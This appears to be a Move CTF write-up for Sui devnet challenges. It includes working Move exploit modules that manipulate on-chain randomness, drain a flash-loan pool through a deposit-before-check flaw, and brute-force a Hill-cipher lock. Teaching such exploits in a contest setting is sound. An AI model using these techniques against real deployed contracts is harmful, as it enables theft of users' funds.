The recent Move Capture the Flag (CTF) competition hosted on the Sui blockchain devnet gave developers experience working with the Move programming language and a chance to learn the Sui framework from scratch. In this post, we'll go through the different challenges developers were presented with and the solutions to each of the problems.
The contest included four challenges:
- Challenge 1 - CheckIn
- Challenge 2 - SimpleGame
- Challenge 3 - FlashLoan
- Challenge 4 - MoveLock
Challenge 1 - CheckIn
This is a simple warm-up challenge. You can follow along with the code here. By following the steps below, we can capture the flag by calling the get_flag() function to trigger a Flag event.
Step 1: Click the Get Account button to create a new account.
Step 2: Transfer some currency (at least 0.001 SUI) to the new account to pay for gas. You can get gas from a faucet (e.g. the SUI Faucet on Discord) or just transfer gas from your own account.
Step 3: After the new account receives the gas, click Deploy to deploy the challenge contract using the new account.
Step 4: Read the contract code, try to work out the challenge, and call the get_flag() function to successfully trigger an event.
Step 5: Click the Get Flag button to submit the transaction hash which has triggered the Flag event. Then submit the flag to the CTF platform.
There are multiple ways to invoke the get_flag() function in the deployed module on Sui DevNet:
As an example, we can simply interact with the get_flag function directly:
sui client call --function [function_name] --module [module_name] --package [package_address] --gas-budget 30000
Challenge 2 - SimpleGame
The SimpleGame challenge is a game that allows users to create a Hero, beat boars to level up the hero, beat Boar Kings to get treasury boxes and open the boxes to get the flag. You can find the contract code here.
Analysis
The winning condition for this challenge is to call the get_flag function to trigger a Flag event. The generation of the event depends on the random value d100, as the random value ranges from 0 to 100, which means that there is only a 1% chance of successfully opening the box.
public entry fun get_flag(box: TreasuryBox, ctx: &mut TxContext) {
let TreasuryBox { id } = box;
object::delete(id);
let d100 = random::rand_u64_range(0, 100, ctx);
if (d100 == 0) {
event::emit(Flag { user: tx_context::sender(ctx), flag: true });
}
}
In order to get this box, we need to defeat the Boar King, and there is a random value d100 to determine whether a new box is created when we successfully defeat the Boar King, also with a 1% chance.
public entry fun slay_boar_king(hero: &mut Hero, ctx: &mut TxContext) {
assert!(hero::stamina(hero) > 0, EHERO_TIRED);
let boar = create_monster<BoarKing>(
BOARKING_MIN_HP, BOARKING_MAX_HP,
BOARKING_MIN_STRENGTH, BOARKING_MAX_STRENGTH,
BOARKING_MIN_DEFENSE, BOARKING_MAX_DEFENSE,
ctx
);
let fight_result = fight_monster<BoarKing>(hero, &boar);
hero::decrease_stamina(hero, 2);
// hero takes their licks
if (fight_result == 1) { // hero won
hero::increase_experience(hero, 2);
let d100 = random::rand_u64_range(0, 100, ctx);
if (d100 == 0) {
let box = inventory::create_treasury_box(ctx);
transfer::transfer(box, tx_context::sender(ctx));
};
};
// let the world know about the hero's triumph by emitting an event!
event::emit(SlainEvent<BoarKing> {
slayer_address: tx_context::sender(ctx),
hero: hero::id(hero),
boar: object::uid_to_inner(&boar.id),
});
let Monster<BoarKing> { id, hp: _, strength: _, defense: _} = boar;
object::delete(id);
}
As mentioned above, we need to defeat the Boar King first, which depends on hero_strength and hero_defense. A Hero with Level 1 cannot hurt the Boar King because INITIAL_HERO_STRENGTH is equal to BOARKING_MIN_DEFENSE. The hero should level up by hitting the normal boar first. In addition, the number of operations we can do is limited by HERO_STAMINA, which means we cannot try forever.
The initial status of the Hero is shown below:
const INITAL_HERO_HP: u64 = 100;
const INITIAL_HERO_STRENGTH: u64 = 10;
const INITIAL_HERO_DEFENSE: u64 = 5;
const HERO_STAMINA: u64 = 200;
The initial status of the Boar King shown below:
const BOARKING_MIN_HP: u64 = 180;
const BOARKING_MAX_HP: u64 = 220;
const BOARKING_MIN_STRENGTH: u64 = 20;
const BOARKING_MAX_STRENGTH: u64 = 25;
const BOARKING_MIN_DEFENSE: u64 = 10;
const BOARKING_MAX_DEFENSE: u64 = 15;
How the Randomness Works
As we are limited to two main random values – one for box dropping and the one for event generation, we need to figure out how the random number works. Otherwise, we can only solve this challenge by luck.
Firstly, we look into how the random number is generated, it’s interesting that the seed is based on the TxContext. The seed is a combination of ctx_bytes and uid_bytes.
fun seed(ctx: &mut TxContext): vector<u8> {
let ctx_bytes = bcs::to_bytes(ctx);
let uid = object::new(ctx);
let uid_bytes: vector<u8> = object::uid_to_bytes(&uid);
object::delete(uid);
let info: vector<u8> = vector::empty<u8>();
vector::append<u8>(&mut info, ctx_bytes);
vector::append<u8>(&mut info, uid_bytes);
let hash: vector<u8> = hash::sha3_256(info);
hash
}
As a follow-up, we can study the structure of TxContext, the generation of uid and try to find out if there is a chance to manipulate the seeds. We find the following.
ids_createdwill increase by one whennew_objectsinvokeduidis a hash (sha3_256) value derived fromctx.tx_hashandids_created, anduidwill be truncated to 20 bytes (ObjectID::LENGTH)The
uidis calculated with the originalids_createdand the updated value forids_createdafter the id is created
#[derive(Clone, Debug, Deserialize, Serialize, PartialEq, Eq)]
pub struct TxContext {
/// Signer/sender of the transaction
sender: AccountAddress,
/// Digest of the current transaction
digest: Vec<u8>,
/// The current epoch number
epoch: EpochId,
/// Number of `ObjectID`'s generated during execution of the current transaction
ids_created: u64,
}
public fun new(ctx: &mut TxContext): UID {
UID {
id: ID { bytes: tx_context::new_object(ctx) },
}
}
public(friend) fun new_object(ctx: &mut TxContext): address {
let ids_created = ctx.ids_created;
let id = derive_id(*&ctx.tx_hash, ids_created);
ctx.ids_created = ids_created + 1;
id
}
/// Native function for deriving an ID via hash(tx_hash || ids_created)
native fun derive_id(tx_hash: vector<u8>, ids_created: u64): address;
/// Create an ObjectID from `self` and `creation_num`.
/// Caller is responsible for ensuring that `creation_num` is fresh
pub fn derive_id(&self, creation_num: u64) -> ObjectID {
// TODO(https://github.com/MystenLabs/sui/issues/58):audit ID derivation
let mut hasher = Sha3_256::default();
hasher.update(self.0);
hasher.update(creation_num.to_le_bytes());
let hash = hasher.finalize();
// truncate into an ObjectID.
ObjectID::try_from(&hash.as_ref()[0..ObjectID::LENGTH]).unwrap()
}
Solution
Based on the analysis above, we propose the following solution:
To manipulate the random value, we produce a custom random module modified from the original one as a helper
decode current
TxContext, add a custom number onids_createdand generate the mock seedtry to get the custom number that allows the mock seed to reach a random value equal to 0
manipulate the
ids_createdin the currentTxContextwith the custom number we want
To defeat the Boar King:
beat the boar via
slay_boarand let the hero reach level 2manipulate the random value
beat the Boar King via
slay_boar_king
To get the flag:
manipulate the random value
get the flag via
get_flag
Solution module:
get_box()
a. Update the hero by slay_boar to ensure the Hero can defeat the King
b. Manipulate the random to ensure that, if we can kill the King, we can get the box
c. The reason we retain four steps random::manipulate(dist-4, ctx) is that there are four new object created inside the slay_boar_king with create_monster()
get_flag()
a. manipulate the random number
b. invoke get_flag()
module challenge_one::solution {
use sui::tx_context::{TxContext};
use game::hero::{Self, Hero};
use game::adventure::{slay_boar, slay_boar_king};
use game::inventory::{TreasuryBox, get_flag};
use challenge_one::random;
public entry fun get_box(hero: &mut Hero, ctx: &mut TxContext) {
while(hero::experience(hero) < 100) {
slay_boar(hero, ctx);
};
hero::level_up(hero);
// manipulate the ctx
let dist = random::get_distance(ctx);
random::manipulate(dist-4, ctx);
slay_boar_king(hero, ctx);
}
public entry fun open_box(box: TreasuryBox, ctx: &mut TxContext) {
let dist = random::get_distance(ctx);
random::manipulate(dist, ctx);
get_flag(box, ctx);
}
}
Custom random module:
mock_seed: split the TxContext and addnumto theids_createdget_distance: try to get the distance between the currentTxContextand manipulatedTxContextwith random value 0, return the distancemanipulate: update theTxContextwith the distance
module challenge_one::random {
use std::hash;
use std::vector;
use sui::bcs;
use sui::object;
use sui::tx_context::TxContext;
const ERR_HIGH_ARG_GREATER_THAN_LOW_ARG: u64 = 101;
fun mock_seed(num: u64, ctx: &mut TxContext): vector<u8> {
// split the TxContext
let ctx_bytes = bcs::new(bcs::to_bytes(ctx));
let ctx_address = bcs::peel_address(&mut ctx_bytes);
let ctx_digest = bcs::peel_vec_u8(&mut ctx_bytes);
let ctx_epoch = bcs::peel_u64(&mut ctx_bytes);
let ctx_ids_created = bcs::peel_u64(&mut ctx_bytes);
let ids_created = ctx_ids_created + num;
// create uid
let tmp: vector<u8> = vector::empty<u8>();
vector::append<u8>(&mut tmp, ctx_digest);
vector::append<u8>(&mut tmp, bcs::to_bytes(&ids_created));
let tmp_uid_full: vector<u8> = hash::sha3_256(tmp);
let tmp_uid_trucate: vector<u8> = vector::empty<u8>();
let i = 0;
while (i < 20){
let tmp_bytes = vector::borrow<u8>(&tmp_uid_full, i);
vector::push_back<u8>(&mut tmp_uid_trucate, *tmp_bytes);
i = i + 1;
};
assert!(vector::length(&tmp_uid_trucate) == 20, 1);
// rebuild ctx_bytes
let ctx_bytes_new: vector<u8> = vector::empty<u8>();
vector::append<u8>(&mut ctx_bytes_new, bcs::to_bytes(&ctx_address));
vector::append<u8>(&mut ctx_bytes_new, bcs::to_bytes(&ctx_digest));
vector::append<u8>(&mut ctx_bytes_new, bcs::to_bytes(&ctx_epoch));
vector::append<u8>(&mut ctx_bytes_new, bcs::to_bytes(&ids_created));
// reuse `seed` process
let info: vector<u8> = vector::empty<u8>();
vector::append<u8>(&mut info, ctx_bytes_new);
vector::append<u8>(&mut info, tmp_uid_trucate);
let s = hash::sha3_256(info);
s
}
public fun get_distance(ctx: &mut TxContext): u64 {
let i = 0;
while(true){
let res = rand_u64_range(0, 100, i, ctx);
if(res == 0){
break
};
i = i + 1;
};
i
}
public fun manipulate(dist: u64, ctx: &mut TxContext){
// update ctx with the distance
let i = dist;
while(i > 0){
let id = object::new(ctx);
object::delete(id);
i = i - 1;
};
}
fun bytes_to_u64(bytes: vector<u8>): u64 {
let value = 0u64;
let i = 0u64;
while (i < 8) {
value = value | ((*vector::borrow(&bytes, i) as u64) << ((8 * (7 - i)) as u8));
i = i + 1;
};
return value
}
/// Generate a random u64
fun rand_u64_with_seed(_seed: vector<u8>): u64 {
bytes_to_u64(_seed)
}
/// Generate a random integer range in [low, high).
fun rand_u64_range_with_seed(_seed: vector<u8>, low: u64, high: u64): u64 {
assert!(high > low, ERR_HIGH_ARG_GREATER_THAN_LOW_ARG);
let value = rand_u64_with_seed(_seed);
(value % (high - low)) + low
}
/// Generate a random integer range in [low, high).
public fun rand_u64_range(low: u64, high: u64, num: u64, ctx: &mut TxContext): u64 {
rand_u64_range_with_seed(mock_seed(num, ctx), low, high)
}
}
Challenge 3 - FlashLoan
This challenge is derived from a flash loan contract, which uses the “Hot Potato” design pattern. The Flashloan contract creates a FlashLender resource, which allows users to deposit tokens and withdraw their tokens from FlashLender. Additionally, the loan method allows users to flashloan assets in the FlashLender, which returns a Receipt resource that requires the caller to destroy via check method before the end of the call. The contract code is here.
Background - Hot Potato Pattern
Reference: Hot Potato - Sui Move by Example
Hot Potato is a name for a struct/resource that has no key, store, or drop abilities, meaning it needs to be packed and unpacked in its module. For example, the Receipt struct in this challenge is a Hot Potato:
struct Receipt {
flash_lender_id: ID,
amount: u64
}
It is worth mentioning that the atomic pattern is ideal for designing a flash loan, which requires the borrower to repay the flash loan in a single transaction.
Analysis
To get the flag, we need to drain all the assets from the pool, which holds 1000 flash loan coins.
// check whether you can get the flag
public entry fun get_flag(self: &mut FlashLender, ctx: &mut TxContext) {
if (balance::value(&self.to_lend) == 0) {
event::emit(Flag { user: tx_context::sender(ctx), flag: true });
}
}
The vulnerability lies in a design fault, where the check and repay functions are implemented separately. In this case, as long as the current balance in the pool is more than the balance before borrowing a flash loan, the check invocation will destroy the Receipt struct, thus completing the transaction.
// check the amount in FlashLender is correct
public fun check(self: &mut FlashLender, receipt: Receipt) {
let Receipt { flash_lender_id, amount: _ } = receipt;
assert!(object::id(self) == flash_lender_id, 0);
assert!(balance::value(&self.to_lend) >= self.last, 0);
}
However, the deposit invocation can also increase the balance of the pool. Therefore, the attacker can use the borrowed assets to “deposit” to the pool and later call withdraw to gain the asset.
Solution
With the above analysis, we can design the following invocation pattern to drain the assets.
Call
loan()to borrow 1000 coins along with aReceiptresource, which decreases the value of theto_lendfield in theFlashLender.Call
deposit()to deposit the borrowed coins to theFlashLenderto increase theto_lendfield.The
check()to destroy the Receipt resource will be bypassed as theto_lendfield has been increased in thedeposit()call.Finally, we can steal the asset by calling
withdraw().
module ctf::solution {
use sui::tx_context::{TxContext};
use movectf::flash::{Self, FlashLender};
public entry fun attack(self: &mut FlashLender, ctx: &mut TxContext){
let (loan, receipt) = flash::loan(self, 1000, ctx);
flash::deposit(self, loan, ctx);
flash::check(self, receipt);
flash::withdraw(self, 1000, ctx);
flash::get_flag(self, ctx);
}
}
After deploying the above module, we can capture the flag by calling the attack function:
sui client call --function attack --module solution --package <your_packID> --args <FlashLenderID> --gas-budget 3000
Challenge 4 - MoveLock
The MoveLock challenge requires participants to input two integer lists and a predefined operator of the two input lists results in a preset encrypted flag. The contract code is here.
Analysis
The prerequisite of getting the flag is to set resource_object.q1 to true, which can only happen in the function movectf_unlock().
public entry fun get_flag(resource_object: &ResourceObject, ctx: &mut TxContext) {
if (resource_object.q1) {
event::emit(Flag { user: tx_context::sender(ctx), flag: true })
}
}
public entry fun movectf_unlock(data1 : vector<u64>, data2 : vector<u64>, resource_object: &mut ResourceObject, _ctx: &mut TxContext) {
let encrypted_flag : vector<u64> = vector[19, 16, 17, 11, 9, 21, 18,
2, 3, 22, 7, 4, 25, 21, 5,
7, 23, 6, 23, 5, 13, 3, 5,
9, 16, 12, 22, 14, 3, 14, 12,
22, 18, 4, 3, 9, 2, 19, 5,
16, 7, 20, 1, 11, 18, 23, 4,
15, 20, 5, 24, 9, 1, 12, 5,
16, 10, 7, 2, 1, 21, 1, 25,
18, 22, 2, 2, 7, 25, 15, 7, 10];
if (movectf_lock(data1, data2) == encrypted_flag) {
if (!resource_object.q1) {
resource_object.q1 = true;
}
}
}
In order to set resource_object.q1 to true, we need to provide two u64 vectors so that the function movectf_lock() with these two inputs returns the preset vector encrypted_flag.
The function movectf_lock() does a series of calculations that look similar to matrix multiplications.
fun movectf_lock(data1 : vector<u64>, data2 : vector<u64>) : vector<u64> {
let input1 = copy data1;
let plaintext = &mut input1;
let plaintext_length = vector::length(plaintext);
...
let complete_plaintext = vector::empty<u64>();
vector::push_back(&mut complete_plaintext, 4);
...
vector::append(&mut complete_plaintext, *plaintext);
plaintext_length = plaintext_length + 9;
let input2 = copy data2;
let key = &mut input2;
let a11 = *vector::borrow(key, 0);
...
let ciphertext = vector::empty<u64>();
while (i < plaintext_length) {
let p11 = *vector::borrow(&mut complete_plaintext, i+0);
let p21 = *vector::borrow(&mut complete_plaintext, i+1);
let p31 = *vector::borrow(&mut complete_plaintext, i+2);
let c11 = ( (a11 * p11) + (a12 * p21) + (a13 * p31) ) % 26;
let c21 = ( (a21 * p11) + (a22 * p21) + (a23 * p31) ) % 26;
let c31 = ( (a31 * p11) + (a32 * p21) + (a33 * p31) ) % 26;
vector::push_back(&mut ciphertext, c11);
vector::push_back(&mut ciphertext, c21);
vector::push_back(&mut ciphertext, c31);
...
};
ciphertext
}
In another format:

Therefore, we can write a script to generate two vectors meeting the required condition easily.
Solution
We can use the following Python scripts to generate two input vectors.
Get the key data2:
cp = [[4, 15, 11], [0, 13, 4], [19, 19, 19]]
ct = [[19, 11, 18], [16, 9, 2], [17, 21, 3]]
solution = []
for i in range(len(cp)):
found = False
for a in range(0, 100):
for b in range(0, 100):
for c in range(0, 100):
if ( cp[0][0] * a + cp[0][1] * b + cp[0][2] * c) % 26 == ct[i][0] \
and (cp[1][0] * a + cp[1][1] * b + cp[1][2] * c) % 26 == ct[i][1] \
and (cp[2][0] * a + cp[2][1] * b + cp[2][2] * c) % 26 == ct[i][2]:
solution.extend([a, b, c])
found = True
break
if found:
break
if found:
break
print(solution)
Decrypt the encrypted_flag to get data1:
results= [[22, 7, 4], [25, 21, 5], [7, 23, 6], [23, 5, 13], [3, 5, 9], [16, 12, 22], [14, 3, 14], [12, 22, 18], [4, 3, 9], [2, 19, 5], [16, 7, 20], [1, 11, 18], [23, 4, 15], [20, 5, 24], [9, 1, 12], [5, 16, 10], [7, 2, 1], [21, 1, 25], [18, 22, 2], [2, 7, 25], [15, 7, 10]]
solution = []
for i in range(len(results)):
found = False
for a in range(0, 100):
for b in range(0, 100):
for c in range(0, 100):
if (25 * a + 11 * b + 6 * c) % 26 == results[i][0] and (10 * a + 13 * b + 25 * c) % 26 == results[i][1] and (12 * a + 19 * b + 2 * c) % 26 == results[i][2]:
solution.extend([a, b, c])
found = True
break
if found:
break
if found:
break
print(solution)
After getting the input vectors, we can deploy a new module with the vectors and capture the final flag!
module ctf::test {
use sui::tx_context::{TxContext};
use movectf::move_lock::{Self, ResourceObject};
use sui::event;
public entry fun attack(self: &mut ResourceObject, ctx: &mut TxContext){
let data1:vector<u64> = vector[2, 14, 13, 6, 17, 0, 19, 20, 11, 0, 19, 8, 14, 13, 18, 24, 14, 20, 12, 0, 13, 0, 6, 4, 3, 19, 14, 1, 17, 4, 0, 10, 19, 7, 4, 7, 8, 11, 11, 2, 8, 15, 7, 4, 17, 7, 0, 2, 10, 19, 7, 4, 7, 0, 2, 10, 24, 15, 11, 0, 13, 4, 19];
let data2:vector<u64> = vector[25, 11, 6, 10, 13, 25, 12, 19, 2];
move_lock::movectf_unlock(data1, data2, self, ctx);
move_lock::get_flag(self, ctx);
}
}



